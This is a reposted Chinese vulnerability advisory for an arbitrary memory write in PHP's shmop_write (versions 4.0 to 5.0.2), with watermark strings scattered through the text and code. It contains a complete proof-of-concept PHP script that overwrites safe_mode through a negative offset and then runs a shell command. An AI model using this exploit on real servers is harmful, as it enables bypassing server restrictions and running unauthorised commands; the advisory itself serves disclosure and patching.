php内存破坏漏洞利用,PHP shmop模块写任意内存漏洞

受影响系统:

PHP PHP 5.0.2

PHP PHP 5.0.1

PHP PHP 5.0.0

PHP PHP 4.3.9

PHP PHP 4.3.8

PHP PHP 4.3.7

PHP PHP 4.3.6

PHP PHP 4.3.3

PHP PHP 4.3.2

PHP PHP 4.3.1

PHP PHP 4.3.0

PHP PHP 4.2.3

PHP PHP 4.2.2

PHP PHP 4.2.1

PHP PHP 4.2.0

PHP PHP 4.1.2

PHP PHP 4.1.1

PHP PHP 4.1.0

PHP PHP 4.1

PHP PHP 4.0.7

PHP PHP 4.0.6

PHP PHP 4.0.5

PHP PHP 4.0.4

PHP PHP 4.0.3pl1

PHP PHP 4.0.3

PHP PHP 4.0.2

PHP PHP 4.0.1pl2

PHP PHP 4.0.1pl1

PHP PHP 4.0.1

PHP PHP 4.0

不受影响系统:

PHP PHP 5.0.3

PHP PHP 4.3.10

描述:

--------------------------------------------------------------------------------

shmop是一款用于加速PHP的共享内存扩展模块。 copyright dedecms

shmop中的shmop_write函数检查偏移存在内存泄露问题,远程攻击者可以利用这个漏洞绕过safe_mode限制及进行其他攻击。 内容来自dedecms

shmop.c中的PHP_FUNCTION(shmop_write)函数没有正确检查'offset'为负的值,因此在执行如下函数时可能覆盖任意内存: 织梦内容管理系统

memcpy(shmop->addr + offset, data, writesize); 本文来自织梦

利用此漏洞可导致绕过safe_mode限制及进行其他攻击。

copyright dedecms

测试方法:

--------------------------------------------------------------------------------

本文来自织梦

警 告 本文来自织梦

以下程序(方法)可能带有攻击性,仅供研究与教学之用。使用者风险自负!

dedecms.com

Stefano Di Paola ()提供了如下测试方法:

本文来自织梦

/*

Php Safe_mode Bypass Proof of concept.

dedecms.com

Copyright 2004 Stefano Di Paola stefano.dipaola[at]wisec.it 本文来自织梦

Disclaimer: The author is not responsible of any damage this script can cause

内容来自dedecms

*/ 织梦好,好织梦

$shm_id = shmop_open(0xff2, "c", 0644, 100);

if (!$shm_id) {

echo "Couldn't create shared memory segment\n";

die;

} 织梦内容管理系统

// $data="\x01";

// the new value for safe_mode

$data="\x00";

织梦内容管理系统

// this (-3842685) is my offset to reach core_globals.safe_mode

// taken with gdb. (0x40688d83)

$offset=-3842685;

// Lets write the new value at our offset.

$shm_bytes_written = shmop_write($shm_id, $data, $offset );

if ($shm_bytes_written != strlen($data)) {

echo "Couldn't write the entire length of data\n";

}

copyright dedecms

//Now lets delete the block and close the shared memory segment

if (!shmop_delete($shm_id)) {

echo "Couldn't mark shared memory block for deletion.";

}

shmop_close($shm_id); 织梦好,好织梦

// Let's try if safe mode has been set to off

echo passthru("id");

dl("shmop.so");

?>

本文来自织梦

建议:

--------------------------------------------------------------------------------

厂商补丁:

内容来自dedecms

PHP

---

目前厂商已经发布了升级补丁以修复这个问题,请到厂商的主页下载升级到最新版:

内容来自dedecms

copyright dedecms

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值